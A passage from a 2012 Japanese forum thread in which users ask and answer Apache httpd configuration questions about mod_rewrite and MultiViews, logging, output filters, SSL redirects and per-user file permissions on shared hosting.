The requested URL /bbb/ was not found on this server.

って表示されてしまいます。
調べるとoptions multiviewsが有効になっているのが原因っぽいんですが、
さくらのサーバはoptionsが使えないので対処できません。
何かアドバイスいただけないでしょうか?
794DNS未登録さん:2012/09/15(土) 20:44:17.36 ID:???
win7,64bitで Apache2.2.21 32bit版使っています

フォルダ設定してlcalhostで中身は表示されるのですが
そこからファイルをダウンロードしようとすると
途中で止まったり出来なかったりします(同じPC内から)。
2,3日前まで普通に出来ていたのですが
原因わかる方いらっしゃらないでしょうか?

httpd.confは下記以外特に設定はいじってないです
DocumentRoot "f:/Download"
<Directory "f:/Download">
Options Indexes
</Directory>
795DNS未登録さん:2012/09/15(土) 21:00:32.22 ID:???
フォルダwwwwwwwww
796DNS未登録さん:2012/09/16(日) 09:14:56.92 ID:???
>>794
だから、ログ見ろと・・・
797DNS未登録さん:2012/09/16(日) 15:36:22.06 ID:???
htaccessをその階層だけに反映させる方法ってありませんか?
mod_rewriteや
redirect構文使ってるんですが、下位の階層まで影響されて、
うまくいきません。
798DNS未登録さん:2012/09/16(日) 16:06:45.80 ID:???
下のディレクトリに打ち消す.htaccess置くとかは?
RewriteEngine off等
799DNS未登録さん:2012/09/16(日) 16:23:13.43 ID:???
>>798
ありがとうございます。
下の階層でもhtaccessを置いてるので
RewriteEngine をOFFにすることはできません
800DNS未登録さん:2012/09/16(日) 18:42:32.00 ID:???
>>799
その中でやれと言われてるんだと思うが
801DNS未登録さん:2012/09/16(日) 20:04:59.53 ID:???
>>800
本当にごめんなさい
その中っていうのはどの中ですか?
802DNS未登録さん:2012/09/16(日) 20:59:29.10 ID:???
影響して欲しくない階層に.htaccess設置してRewriteEngine Off
設置してあるなら追記すればいい
803DNS未登録さん:2012/09/16(日) 21:36:20.94 ID:???
>>802
追記してもダメでした。

影響して欲しくない階層のhtaccessの

RewriteEngine On
RewriteRule 〜


って書いてる前後にRewriteEngine Off入れましたが影響してしまってました。
もう意味わかりません
804DNS未登録さん:2012/09/17(月) 02:22:11.19 ID:???
俺はお前のやってることが意味わからんよ
apacheの基本的な動作の話なんだがなあ
805DNS未登録さん:2012/09/17(月) 09:20:01.11 ID:???
質問ですさくらのレンタルサーバでは
options multiviewsが有効になってるせいで、URLを

example.com/test/

とかやってもnot foundになってしまいます。

実際には
example.com/test/
example.com/abc/
example.com/def/

というURLでアクセスできるようにしたいんですが、
htaccessに

^([a-z]+)/ genre.php?genre=$1
test/ test.php

って書いた場合、

example.com/abc/
example.com/def/

ではちゃんとページが表示されるんですが、

example.com/test/

の方はnot foundになってしまいます。

色々試していて、ルートディレクトリ直下にtestという空フォルダを作ったら、

example.com/test/

にアクセスできるようになりました。
なぜなのか仕組みがいまいちわかりません。
こんな空フォルダを作るのは暫定的な対応でしかないので、なんとかmod_rewriteだけで解決させたいです。
どのように対応すればよろしいでしょうか?
よろしくお願い致します。
806DNS未登録さん:2012/09/17(月) 09:20:53.81 ID:???
ちなみにさくらのレンタルサーバでは

options

は書けない仕様になっているので、multiviewsを無効にすることはできません。
807DNS未登録さん:2012/09/18(火) 10:23:24.79 ID:???
Windowsでいちいちhtdocsにファイルを入れると管理者権限が必要になるので
めんどくさいからhtdocsをフルコントロールにしても大丈夫でしょうか?
セキュリティ上なにか問題でもありますか?
教えてください
808DNS未登録さん:2012/09/18(火) 12:12:47.66 ID:???
逆にフルコントロールな場所をDocumentRootにしては?
更新が自分だけなら、フルじゃなくて所有者自分のとこでやるとか
809DNS未登録さん:2012/09/19(水) 22:25:28.52 ID:???
apacheが出力するアクセスログをもし書き込みできない状態にしたら、また別のとこにシステムエラーとか出力されるのかな。
ちなみにDebian。
810DNS未登録さん:2012/09/19(水) 22:58:39.38 ID:???
testディレクトリ以下のアクセスは、全てログにとらないようにしたい。
で、httpd.confに


CustomLog logs/access_log combined
SetEnvIf Request_URI "/test/" nolog
CustomLog logs/access_log combined env=!nolog

これでも、だらだらとログがとられてしまうのですが、
どこがまずいのでしょうか?
811DNS未登録さん:2012/09/20(木) 00:10:21.91 ID:???
>>810
1行目じゃね?
812DNS未登録さん:2012/09/20(木) 06:16:24.88 ID:???
Apache を再起動してないだけだったりして・・・
813DNS未登録さん:2012/09/20(木) 07:26:53.47 ID:???
>>811
1行目でした。コメントに戻したら、ログがとられなくなりました。
ありがとうございました。
814DNS未登録さん:2012/09/25(火) 03:10:09.65 ID:???
Bad request!を指定の文言にかえるのはどうしたらよいでしょうか
815DNS未登録さん:2012/09/25(火) 04:26:32.14 ID:???
服部クエストはHTTP/1.1のリクエストに失敗してるのか
それ以外のプロトコルで送信された文字なのか
わからない時も送り返すメッセージだから、
いつも通りのErrorDocument 400で書き換えても
HTTP/1.1ではなかったときはデフォルトの
ハードコードされたメッセージを返すね。
816DNS未登録さん:2012/09/25(火) 12:07:22.64 ID:???
ニンニン
817DNS未登録さん:2012/09/26(水) 16:09:48.12 ID:???
あるドメインで、

/test/

っていうURLでアクセスできるようにするために
RewriteEngine On
RewriteRule ^test/ test.php

って書いたらアクセスできたんだけど、

また別のドメインで、

/special/

ってうURLでアクセスできるようにするために

RewriteRule ^special/ special.php

って書いたけどNotFoundになってしまう。
前者と後者の違いがわからない。
ちなみに、後者の方のドメイン直下に、「special」っていう空のディレクトリを作るとアクセスできるようになる。
どちらも、options multiviews+ で設定してある。
これが影響してることはわかってるんだが、さくらのレンタルサーバなのでoptionsは使えないので無効にできない。
現状いくつかこういうドメインが存在するため、NotfoundになるURLは空のディレクトリ作って対応してるけど、
これじゃその場しのぎの対応だし、めんどくさい。

何が原因だと思いますか?
板違いなんですが、他は人が少なかったのでこちらに書かせていただきました。

818DNS未登録さん:2012/09/26(水) 18:45:36.32 ID:???
DirectoryIndex
819DNS未登録さん:2012/09/27(木) 02:45:01.80 ID:???
error.log 読め
special.php がサーバローカルに存在するか確認しろ
820DNS未登録さん:2012/09/28(金) 22:15:39.11 ID:???
acccess_logに%Dで出力されるリクエスト時間(マイクロ秒)って具体的にどういう時間のことを表しているのか?
・Apacheがリクエストを受けてからHTTPコンテンツを返す(送り始めた)まで
・Apacheがリクエストを受けてからHTTPコンテンツを返す(送り終わった)まで
・Apacheがリクエストを受けてからHTTPコンテンツを返してブラウザからACKが返ってくるまで
・その他
821DNS未登録さん:2012/09/28(金) 22:52:11.54 ID:???
>>820

今までの経験上、2番めの送り終わるまでの時間だと思ってる。
でかいファイルと小さいファイルで試してみたらどうだろうか
822DNS未登録さん:2012/09/29(土) 04:00:12.17 ID:???
>>821
thx:)
すぐに実機確認できないのでそこは申し訳ない.
もしそうだとすると、送り終わったと判定する基準は何かを考えたくて、
例えば鯖のTCPの送信バッファにデータを乗せられたら終わりなのか?
(そもそもHTTPコンテンツが大きければフラグメントされて送信バッファに置かれると思うが…)
何か参考になるWebページとかないだろうか?
823DNS未登録さん:2012/09/29(土) 09:02:19.88 ID:???
>>822
HTTPのプロトコルを勉強したら
824DNS未登録さん:2012/09/29(土) 11:30:45.81 ID:???
>>823
詳しく教えろください
825DNS未登録さん:2012/09/29(土) 11:38:11.16 ID:???
>>818
DirectoryIndexは index.phpと.htしか書いてないんですが何か問題ありますか?

>>819
special.phpはちゃんとあります。
error.logは単純に/special/がnot foundっていうエラーだけ
826DNS未登録さん:2012/09/29(土) 12:43:49.89 ID:???
>>825
むしろtestが特殊例という考え方は?
827DNS未登録さん:2012/09/29(土) 12:52:06.11 ID:???
>>822
リクエストを受けた時からログを書き始めるタイミングまでみたいよ?w
828DNS未登録さん:2012/09/29(土) 12:58:00.46 ID:???
>>826
それも考えたんですが、testというファイルやフォルダもないので特殊じゃないと思います。

他にも
^(.+)/ category.php?category=$1 [L]

^special/ special.php [L]

って書いた場合、前者の方は問題なくリダイレクトされるんだけど、
specialの方はnot foundになるっていうね。

で、specialという空のフォルダを作ればリダイレクトされる、と。

ローカル環境や他のレンタルサーバでは起こらないからたぶんさくらのサーバが原因だと思うんだよなぁ。
違いって言ったら、
options multiviews + がさくらには設定されてるってことだからこれしか原因が考えられん。
でもさくらはoptionsをhtaccessにはかけない仕様。

もう無理かな
829DNS未登録さん:2012/09/29(土) 13:00:49.98 ID:???
options multiviews + ってあんまり詳しくわからなかったんですが、アクセスのあったURLのファイルを探しに行くみたいな機能なんですかね?

だからspecialっていうファイルを探しにいってないからnot foundになる、と。

でも

^(.+)/ category.php?category=$1 [L]

って書けば、
/important/みたいにアクセスすればリダイレクトされるのが意味わからん。

サーバにはimportantっていうファイルはないのに。
830DNS未登録さん:2012/09/29(土) 13:08:06.05 ID:???
>>828
> って書いた場合、

って書いた場合、全部先の^(.+)/ category.php?category=$1 [L]の方へ吸い上げられて
category.php?category=special へアクセスしようとしてcategory.phpがcategory=specialで
呼び出されることが想定外でNot Foundっぽいんですが。
831DNS未登録さん:2012/09/29(土) 13:11:46.88 ID:???
>>827
ログを書き始めるタイミングってwww
それがどk(ry
832DNS未登録さん:2012/09/29(土) 13:14:17.42 ID:???
>>830
それならcategory.php?category=specialの内容で何らかのページが表示されるはずです。

category.phpでは存在しないカテゴリ名でアクセスがあった場合、存在しませんっていうページを表示するようにしてますので
833DNS未登録さん:2012/09/29(土) 13:14:55.39 ID:???
>>831
マジでログの%Dや%Tになる文字を作るタイミングまでなんだってw
しかも詳しく見てないけどどうも%Dを何回も書き出させようとすると
その都度%Dも変わる感じじゃね?w
834DNS未登録さん:2012/09/29(土) 13:17:08.80 ID:???
>>832
反論はいいから^(.+)/ category.php?category=$1 [L]より上のRewriteRuleも全部ここに書け。
指摘されたこと以上のことをここに書き出せ。
835DNS未登録さん:2012/09/29(土) 13:25:06.73 ID:???
>>834
すいません
こんな感じです

<Files ~ "^\.(htaccess|htpasswd)$">
deny from all
</Files>
order deny,allow
DirectoryIndex index.php
RewriteEngine On
RewriteBase /
RewriteRule ^special/$ special.php [L]
RewriteRule ^special/([a-z]+?)/$ special_category.php?category=$1 [L]
RewriteRule ^([a-z]+?)/$ category.php?category=$1 [L]
836DNS未登録さん:2012/09/29(土) 19:39:52.89 ID:???
>>835
/special/でアクセスしてるよね?
/specialではなく。
837823:2012/09/29(土) 19:58:49.30 ID:???
>>824
ここはapacheのすれ

プロトコルを唯で教えてもらおうというの?

教えるのも大変
838DNS未登録さん:2012/09/29(土) 20:13:00.67 ID:???
>>836
もちろんです
839DNS未登録さん:2012/09/29(土) 20:36:36.38 ID:???
>>837
唯ではなくあずにゃんでおねがいします
840DNS未登録さん:2012/09/29(土) 21:19:22.02 ID:???
>>838
見つけた。
AcceptPathInfo Default
841823:2012/09/29(土) 22:44:06.37 ID:???
>>839
わかんねーけど、趣味じゃない
842DNS未登録さん:2012/09/30(日) 19:08:42.87 ID:Jx6mvf8I
2-23突っ込んだ人いる?
なんかリライトまわりが変わったらしいんだけどよくわかんないだよね…
843DNS未登録さん:2012/10/01(月) 00:37:54.29 ID:???
エスパー5級呼んでるぞ
844DNS未登録さん:2012/10/01(月) 10:44:44.01 ID:???
Apache httpd 2.2.23 Released
これか。rewriteが変わったの?
845DNS未登録さん:2012/10/01(月) 12:13:15.43 ID:???
RewriteOptions AllowAnyURIが増えた?
あとなんかサーバーやバーチャルホストレベルで設定したリライトを
ディレクトリ単位で設定したリライトで上書きするときの挙動が変わってるっぽい。
846DNS未登録さん:2012/10/01(月) 12:15:46.77 ID:???
AllowAnyURIはRewriteRuleをhttp://からのマッチはしないように変えたから
昔のような動作が必要なら付けろという感じで合ってるかな?
847DNS未登録さん:2012/10/01(月) 23:27:48.22 ID:k21o6yXi
ダメだw
ちょっと調べてみたけどさっぱりわからんw

早く公式に使い方のらないかな。
848DNS未登録さん:2012/10/02(火) 09:08:10.70 ID:???
2.2.23でのmod_rewriteの変更点は二点

*) mod_rewrite: Add "AllowAnyURI" option. PR 52774. [Joe Orton]

*) mod_rewrite: Fix the RewriteEngine directive to work within a
location. Previously, once RewriteEngine was switched on globally,
it was impossible to switch off. [Graham Leggett]
849DNS未登録さん:2012/10/02(火) 17:52:01.80 ID:???
これって、2.22からはuriでパスを指定したらダメだったことですかね?

だとしたら、自分はあんまり関係ないけど、対応に追われた人もいるんでしょうね…
850DNS未登録さん:2012/10/03(水) 11:18:14.36 ID:???
指定しても良かったけど穴が開いてるから塞いだ。
穴を塞いだことによる互換性の問題を回避するためにAllowAnyURIのオプションを用意した。
使うと塞いだ穴がまた開くがw

というところかな?
851DNS未登録さん:2012/10/15(月) 19:42:21.06 ID:???
ディレクトリ毎にサーバーを割り振れますか?
具体的に言うと
正規表現などで接頭辞aのディレクトリa○○○○は
ipアドレス200.100.100.1に
接頭辞bのディレクトリb○○○○は、
ipアドレス200.120.102.3に
と割り振りたいです。
ameblo.jpなどはどのように実装しているのでしょう?
852DNS未登録さん:2012/10/15(月) 19:50:53.68 ID:???
>>851
リバースプロキシを構築してバックエンド2台分のWebサーバに割り振る、
という構成が一般的。Apacheならmod_proxy。
853DNS未登録さん:2012/10/15(月) 20:03:12.77 ID:???
ありがとうございます
なんとか実装できそうです。
854DNS未登録さん:2012/10/16(火) 02:24:45.96 ID:???
perlやrubyで外部コマンドを制限する設定はできますか?
PHPはphp.iniで禁止関数を登録すればいいのですが。
855DNS未登録さん:2012/10/16(火) 02:53:42.14 ID:???
いやあ、ここapacheのスレだしねえ
856DNS未登録さん:2012/10/16(火) 23:53:21.16 ID:???
Apache2.2(Windows用)で、htmlページ内の文字置換をやりたくて、
ApacheのドキュメントWebページに書いてあった、
下記の設定を行ってみました。
---------------以下、Apache Webページの設定例--------
# mod_ext_filter directive to define a filter which
# replaces text in the response
#
ExtFilterDefine fixtext mode=output intype=text/html \
cmd="/bin/sed s/verdana/arial/g"

<Location />
# core directive to cause the fixtext filter to
# be run on output
SetOutputFilter fixtext
</Location>
---------------以上、Apache Webページの設定例--------
※上記のsed部分は、cygwinのsed.exeで代用。

上記を設定して確認したところ、サイズの小さいhtmlファイルだと
文字置換に成功しました。

しかし、一定のサイズ(7000バイト程度?)以上のhtmlページを読み込も
うとしたところ、htmlページの読み込み途中で、置換処理が止まって
しまいました。
※なお、sedをcatに代えてみても、一定サイズ以上のhtmlページ
 の読み込みに失敗しました。
※errorlog(デバッグログ)にも、エラーは表示されませんでした。

ExtFilterDefineかSetOutputFilterでテキストページをフィルタする
ときに、何かしらの設定によるサイズ制限がかかって、処理が停止し
たと考えてますが、何か心当たりがある方はいますでしょうか???
857DNS未登録さん:2012/10/17(水) 09:23:11.59 ID:???
sed を単体で実行した場合は大きなサイズでもちゃんと動くの?

それはそうと、単純な文字列置換なら
mod_ext_filter じゃなくて mod_substitute の方がいいよ。
858DNS未登録さん:2012/10/17(水) 16:58:25.10 ID:???
ログを見るとやたら
(httpd), uid 80: exited on signal 11
が並んでるんですが、これはメモリが足りないとかで落ちてるんでしょうか?
Apache自体はhttpdが残っていて、完全に落ちてるわけでは無いんですが
859DNS未登録さん:2012/10/17(水) 17:56:30.64 ID:???
2.4?バージョン最新にしたほうがよさげ
860DNS未登録さん:2012/10/17(水) 19:12:09.96 ID:???
signal 11 は SEGV だから、単純にバグ。
あやしげな mod_hogehoge とか使ってんじゃないの?
861DNS未登録さん:2012/10/17(水) 20:09:28.75 ID:???
あやしげな mod_ほげほげと言われると
mod_uploaderくらいなんですが、今見たらバージョンがだいぶ古かったので
アップグレードして様子を見てみます。
2.4はなんか随分設定の記述が変わってるみたいなので今はちょっとやめておきます
862856:2012/10/17(水) 20:57:59.60 ID:???
>>857
回答ありがとうございます。

sedを単体で起動した場合は、サイズにかかわらず正常に稼働します。
ただ、ExtFilterDefine,SetOutputFilterを使うと、sedに限らず
どのコマンド(cat,echoなど)でも途中で処理が止まります。。。
※Apacheがファイルの受け渡しに使用するパイプのバッファあたりが原因?

あと、「mod_substitute」を調べてみました。
とても便利そうな機能なので、是非使いたいと思いました。。。

……が、仕事で使用しているApacheバージョンが2.0.59(2.2ですら
無かったです。。。)なので、標準で付いてない機能でした。
※用途:Internetに公開していない社内Webサーバ

既に社内で稼働中のサーバであり、Apacheのバージョンを2.2や2.4に
上げることは(社内的にも)難しいので、Apacheのバージョンを上げず
に何とかしたいと考えております。
863858:2012/10/18(木) 00:23:11.66 ID:???
eAcceleratorが原因でした
バージョンが0.9.5だったので最新の物にすると出なくなりました
864DNS未登録さん:2012/10/18(木) 08:10:05.48 ID:???
小出し、後出し

よかったねー
865DNS未登録さん:2012/10/18(木) 10:33:52.15 ID:???
2.4.1で出るという話が前にあったから
2.4系なら最新にしたら、と言ったんだが。
別系統なら無理に系統変えることは無い。
866DNS未登録さん:2012/10/19(金) 18:25:44.10 ID:jtdOLMOb
>>865同意
( ・∀・) イイネ!この板参考になる
ところで激安PCソフト市場でググると使えるソフトがかなり安い
867DNS未登録さん:2012/10/20(土) 07:29:36.74 ID:???
馬鹿のすてま
868DNS未登録さん:2012/10/20(土) 17:08:54.45 ID:???
激安PCソフト≒利用規約グレー
869DNS未登録さん:2012/10/20(土) 17:19:29.87 ID:???
ボリュームライセンスの製品を販売って黒じゃねえの?利用したいとは思えない…
870DNS未登録さん:2012/10/23(火) 11:44:12.66 ID:???
過疎板で宣伝しなきゃいけないレベルで年越せるのかな
871DNS未登録さん:2012/10/23(火) 20:32:31.43 ID:???
サーバーをphpユーザーに貸し出そうかと思うのですが、
ユーザーのルートの設定がうまくいきません。
設定ファイルで記述するのはサブドメインでは上手く行きましたが、
ディレクトリ間貸しの場合、どのように記述すれば良いのでしょうか?

それかSuphpでそれぞれのディレクトリにユーザーを割り振って、
phpファイルのパーミッションを600で動かすのはどうなんでしょう?

ドキュメントルートを設定しないと他の人のphpファイル内の変数など読めてしまいそうで不安なのですが・・。

どなたかご教授お願いします。
872DNS未登録さん:2012/10/23(火) 20:54:33.84 ID:???
>>871
ユーザ毎のファイル管理をどうやる?
とかが決らんと何とも言えない。

chrootするとかjail化とかやる方法は幾らでもあるし、
rewriteとかaliaseで逃げる方法もある。

その程度の実装(設計・構築・運用)がイメージ出来ないなら
他人に貸すとかはやめて、もう少しLinuxとかOSSについて
学ばれた方が、世のため人の為と思います
873DNS未登録さん:2012/10/23(火) 21:19:41.39 ID:???
ありがとうございます。
ご教授頂きました情報を参考にしばらく勉強してみようと思います。
874DNS未登録さん:2012/10/24(水) 18:25:06.30 ID:???
× ご教授
○ ご教示
875DNS未登録さん:2012/10/26(金) 00:40:51.70 ID:???
>>874
ご教授も間違いでないよ。
876DNS未登録さん:2012/10/26(金) 06:30:30.42 ID:???
>>875
日本語として「ご教授」という言葉はあるけれど、
ここでは用法誤りだろ。
「ご教示」と「ご教授」じゃ内容が違う。
877DNS未登録さん:2012/10/26(金) 07:15:29.98 ID:???
啓蒙と啓発も違うし擁護と庇護も違う。

昔違う方を使ってネトウヨを煽ったら間違った用法がネトウヨたちに定着したw
878DNS未登録さん:2012/10/26(金) 14:15:19.56 ID:???
LinuxでApacheの勉強をしてるんだけど、

UserDirを使う
ユーザは.htaccessを使う
ユーザは.htaccessと.htpasswdでBASIC認証を使う
と言う場合に、
.htpasswdは、
 他のユーザには読まれたくない
 けどApacheは読めないと動作しない
ということを実現するには普通はどうやってるの?
chmodだと所有者、グループ、その他の設定しかできないし…
自分とApacheだけ読めるようにしたいんだけど…
879DNS未登録さん:2012/10/26(金) 15:09:01.78 ID:???
>>878
他のユーザーって、sshやtelnetで接続された他のユーザーのこと?
880DNS未登録さん:2012/10/26(金) 17:40:04.41 ID:???
>>878
自分意外のだれかがサーバー弄るの?
allにするとフォルダあるごとにhtaccess見に行くからパフォーマンス落ちるよ
881DNS未登録さん:2012/10/26(金) 18:22:41.27 ID:???
apacheをchgrp?とかで管理グループに放り込めばいいんじゃないか?

rootと一緒はだめよ?w
882DNS未登録さん:2012/10/26(金) 18:58:50.45 ID:???
>>879>>880
うん。Linuxユーザ。
Linuxユーザはsshかsftpで$HOME/public_html/に自分のコンテンツを自由における。

Linuxユーザはhtpasswdコマンドで.htpasswdに好きなBasic認証用のユーザを作って、.htaccessを配置してBasic認証を設置する。

その、.htpasswdや.htaccessが他のLinuxユーザからは見られないようにしたい。

あと、.htaccessによるパフォーマンス低下は全く気にしていない。
883DNS未登録さん:2012/10/26(金) 23:06:22.89 ID:???
>>882
user1も、user2も、それぞれが.htpasswdとかを読み書きできて、apacheは両方のファイルが読めるけど、user1の.htpasswdはuser2からは読めないようにってこと?

以下のようなファイルを作る。
-rw-r----- user1 user1 user1/.htpasswd
-rw-r----- user2 user2 user2/.htpasswd

/etc/groupは以下のように。
user1:x:500:apache
user2:x:501:apache
884DNS未登録さん:2012/10/26(金) 23:49:42.53 ID:???
それだとpublic_htmlにおいたCGI経由で読めるからだめ
885DNS未登録さん:2012/10/27(土) 00:08:23.91 ID:???
user1とuser2を同じグループに所属させて、ファイルのグループをそのグループにして、
グループのパーミッションを落とすのが普通だよね。

ただそれもグループに所属するメンバーが増えるとNFSが
正常に動作しないような不具合も出ることがあるらしいから
1ユーザに1バーチャルマシンが流行るわけだ。
886DNS未登録さん:2012/10/27(土) 06:33:28.23 ID:???
>>884
んじゃ、suEXECつかえば?
887DNS未登録さん:2012/10/27(土) 08:29:50.28 ID:???
>>886
それが正解
888DNS未登録さん:2012/10/27(土) 10:22:15.13 ID:???
suEXECもhttpd側で設定した環境変数の一部が通らなくなるよね。
889DNS未登録さん:2012/10/27(土) 11:17:36.79 ID:???
>>882 >>886
お前色々わかってなさそうだな
suexecでどう設定したらいけると思ってるの?
890DNS未登録さん:2012/10/27(土) 11:28:14.33 ID:???
>>885の方法じゃだめなの?共有レンタル鯖ってこうやってると思うんだけど
891DNS未登録さん:2012/10/27(土) 13:29:37.88 ID:???
だからさ、apacheの所属グループ変えればいいじゃん。
892DNS未登録さん:2012/10/27(土) 22:02:04.62 ID:???
>>889
出来ると思うの?って聞かれましても
そんな設定、昔からよくやる手ですし実際私の管理している鯖
で動いてますよ。

貴方が出来ないのと、ApacheとかLinuxが出来ないは別なのに
人のせいにしないでくださいね〜
893DNS未登録さん:2012/10/28(日) 03:13:03.68 ID:???
脊髄反射同士噛みあってないな
最初の質問を見る限り問題のスコープが違うということが言いたいんだろう
894DNS未登録さん:2012/10/29(月) 00:03:34.94 ID:???
MPM-ITK使えばすっきり解決するのに誰も言わないのな
895DNS未登録さん:2012/10/29(月) 14:01:48.96 ID:???
結局どうすれば良いんだ…
こういうのはレンタル鯖屋のノウハウみたいなもんで、
表には出てこないん?
896DNS未登録さん:2012/10/29(月) 14:06:49.64 ID:???
いくつかのやり方があるから、これで決まりってのはあまり・・・
897DNS未登録さん:2012/10/29(月) 19:33:08.10 ID:???
簡単な方法はなくて、結局の所試行錯誤しかないから
具体的な話は出てこないと思う

自分の中で要件定義を作ってどうやって実現するか
trial and errorでがんばりたまえ
898DNS未登録さん:2012/10/29(月) 20:04:39.17 ID:???
これでいいと思う http://blog.matsumoto-r.jp/?p=1957
899DNS未登録さん:2012/10/29(月) 22:27:47.68 ID:???
一足飛びにノウハウとか言ってるのはまずくね
そのうちやらかすで〜
900DNS未登録さん:2012/11/05(月) 21:22:49.47 ID:ok94KFfZ
質問です

httpd.confに行ではなく一部にコメントを書くことってできる?

例えば
ServerName www.example.com:80 #ここにコメントを入れたい(しかし#ではエラーが出た。
901DNS未登録さん:2012/11/06(火) 11:13:04.06 ID:???

http://blog.nomadscafe.jp/2012/04/apache-httpdconf-allow-from-dns.html
当たり前じゃん、、、と思ったが
ぐぐったらこういうことやってる人いるねw
902DNS未登録さん:2012/11/06(火) 16:22:44.13 ID:???
http://httpd.apache.org/docs/2.2/configuring.html#syntax
> 設定ディレクティブと同一行の末尾にコメントが含まれていてはいけません。

と太字にまでして書かれてることなんだけどねw
何か書かれても解釈して無視するモジュールはあるかもしれないけど、
解釈はされてるから無視する仕様が変わった時に起動しなくなる。
903DNS未登録さん:2012/11/07(水) 23:54:58.06 ID:???
質問させてください。

LB-APACHE*2-Tomcat*2 の構成で

2台のapacheで、proxy_balancerを使用し
2台のtomcatのロードバランスを行いたいのですが
(stickysession=JSESSIONIDを指定)

どちらのapacheにもBalancerMemberの設定に

ajp://host1:8009/test/ route=host1vm
ajp://host2:8009/test/ route=host2vm

のような記述を追加した場合
(2台のtomcatのjvmrouteの設定も行います)

LBから、どちらのapacheへふりわけられても、
初回に処理したtomcatへふりわけ可能でしょうか?
904DNS未登録さん:2012/11/17(土) 00:41:24.52 ID:???
お聞きしたいのですが

httpd-2.2.3-65.el5.centos.3
mod_ssl-2.2.3-65.el5.centos.3

でサイトを構築しています
証明書は自己証明を使用しており、将来は証明書を購入します。

ホスト名が
wwwrepos.test.com
test.com
の2種類あり

wwwrepos.test.com = ポート443/80でアクセス
test.com = ポート80でアクセス

となっていますが

test.comをポート443でアクセスするとwwwrepos.test.comへ移動してしまうため
test.comのSSLの公開設定と空ディレクトリを設置し仮のページを配置しました。

しかし、上司曰く「test.comへ443でアクセスした場合、暗号化させず、test.comのポート80番へリダイレクトさせたい」という要望がありました。
そんな設定が可能でしょうか?

それともう一つ、SSLへアクセスした際に、ポート80番へリダイレクトさせる設定を
「ssl.conf」へ設定を記入しますが

この設定をポート80番の公開設定のconfに設定できると言われたのですが可能でしょうか?
「.htaccess」の事かと思いましたが上司曰く「違う」そうです。

長々となり分かりにくい説明で申し訳ありませんが知恵を貸してください。
905DNS未登録さん:2012/11/17(土) 08:43:15.12 ID:???
>>904
SSLは基本的にhttpの通信が行なわれる前に証明書をやりとりするので、
将来的に本番用の証明書を配置する場合、下記のいずれかの対応が必要となる。

* wwwrepos.test.com, test.comの両方が書かれたSSL証明書を購入する
 (ワイルドカード証明書でも可)
* Server Name Identificationに対応したバージョンのApache (2.2.12以降)
 をインストールし、それぞれにSSL証明書を購入する

また、SSLで通信しているかどうかはmod_rewriteでやればいい。
SSLでアクセスしている場合はHTTPSという環境変数が設定されるので、それが
設定されていればhttp://test.comに転送すればいい
906904:2012/11/17(土) 16:54:34.65 ID:???
>>905
ありがとうございます

転送の件ですが、自己証明書を使用している場合
ブラウザに警告を出さずに転送する事は可能でしょうか?
(この証明書は〜の警告ページ)
907DNS未登録さん:2012/11/17(土) 21:05:31.99 ID:???
やはり、そのレベルか・・・
908DNS未登録さん:2012/11/17(土) 21:27:12.02 ID:???
そんなレベルだ
909DNS未登録さん:2012/11/18(日) 07:33:59.47 ID:???
>>906
無理。
910DNS未登録さん:2012/11/18(日) 10:29:57.27 ID:???
>>906
自己CA証明書作って事前にインストールしてもらえば出せなくはできる
911904:2012/11/18(日) 16:36:09.93 ID:???
>>909
やっぱ無理ですよね・・・
ポート443へ読みにいこうとしているから警告に引っかかりますよね・・・

あの上司、何とかできるってホラ吹きやがって・・・無理だって言ってるのに。
912DNS未登録さん:2012/11/19(月) 02:25:53.92 ID:???
いやできる。上でも答えいってる
913DNS未登録さん:2012/11/19(月) 21:14:58.84 ID:???
mod_rewriteが出たのでついでに質問です

RewriteCond %{HTTP_HOST} ^www.example.com
RewriteRule ルール1
RewriteCond %{HTTP_HOST} ^www.example.com
RewriteRule ルール2
RewriteCond %{HTTP_HOST} ^www.example.com
RewriteRule ルール3

RewriteCondが同じ場合2回目以降を省略することは可能?
914DNS未登録さん:2012/11/20(火) 02:49:22.73 ID:???
>>913
ちょっとやりたいことが理解できないんだけど、一つ目に[L]つけて以降の評価をやらないじゃだめ?
915913:2012/11/20(火) 18:51:48.89 ID:???
>>914
すみません[L]を付けていましたorz
書いてないのに分かるとは頭の回る人ですね!ありがとう。
916DNS未登録さん:2012/11/21(水) 01:00:40.16 ID:???
>>915
よくわからんが解決して何よりw
頑張ってアーミーナイフの達人になって下さい><
917DNS未登録さん:2012/11/24(土) 04:26:38.05 ID:???
ウェブサーバ構築中に行き詰まったので質問させてください

【www.xxx.com/~user1】の~(チルダ)を外したくて、AliasMatchの正規表現を使ったら、
今度は【www.xxx.com】にアクセスできなくなってしまいました。
一般ユーザの為のチルダを外しつつ、ドキュメントルートにアクセスする方法ってありませんか?

一般ユーザ: /home/***(ユーザ名と同じディレクトリ)/www
ドキュメントルート: /var/www/html
918DNS未登録さん:2012/11/24(土) 04:29:56.60 ID:???
>>917
追記です

レンタル用途のサーバなので、一般ユーザはどんどん増加する予定です。
なので、手動で個別に設定していくというのはナシの方向でお願いします。
919DNS未登録さん:2012/11/24(土) 08:18:33.71 ID:???
>>917
mod_rewrite
920DNS未登録さん:2012/11/24(土) 19:49:24.06 ID:???
>>919
ありがとうございます

おかげ様で、mod_rewriteで【www.xxx.com】【www.xxx.com/user01】
共に表示することが出来ましたが、今度は
【www.xxx.com/user01】のサブディレクトリが表示(使用)できません

rewriteの記述はhttpd.confで行なっています
htaccessを使えばできるのかもしれませんが、
今後のことを考えてなるべくhttpd.confのみの記述で実装させたいです
なにか良い方法あれば教えてもらえないでしょうか?
よろしくお願いします

[httpd.conf]



<IfModule mod_rewrite.c>
RewriteEngine on
RewriteRule ^/([a-zA-Z0-9_\-]+)/(.*) - [C] RewriteCond /home/$1/www/$2 -f [OR]
RewriteCond /home/$1/www -d
RewriteRule ^/([a-zA-Z0-9_\-]+)/(.*) /~$1/$2/ [PT]
RewriteRule ^/([a-zA-Z0-9_\-]+)$ /~$1/ [PT]
</IfModule>
921DNS未登録さん:2012/11/24(土) 21:27:28.17 ID:???
apache2.2
922DNS未登録さん:2012/11/24(土) 21:30:20.40 ID:???
Windows版のapache2.2で改行コードLFのcgiを読み込むと
「そんなプログラムねぇよ('A`)」ってエラー出るんですが

どうにかWindows+apache2.2でLFのcgiをちゃんと読めるようになりませんか?


FTPでアップロードする時に改行コード変換すればいいんだろうけど
出来ればローカルも鯖上も同じ改行コードで行きたいのです
923DNS未登録さん:2012/11/25(日) 08:50:16.22 ID:???
>>920
RedirectMatch
924DNS未登録さん:2012/11/28(水) 04:15:19.69 ID:???
>>922です
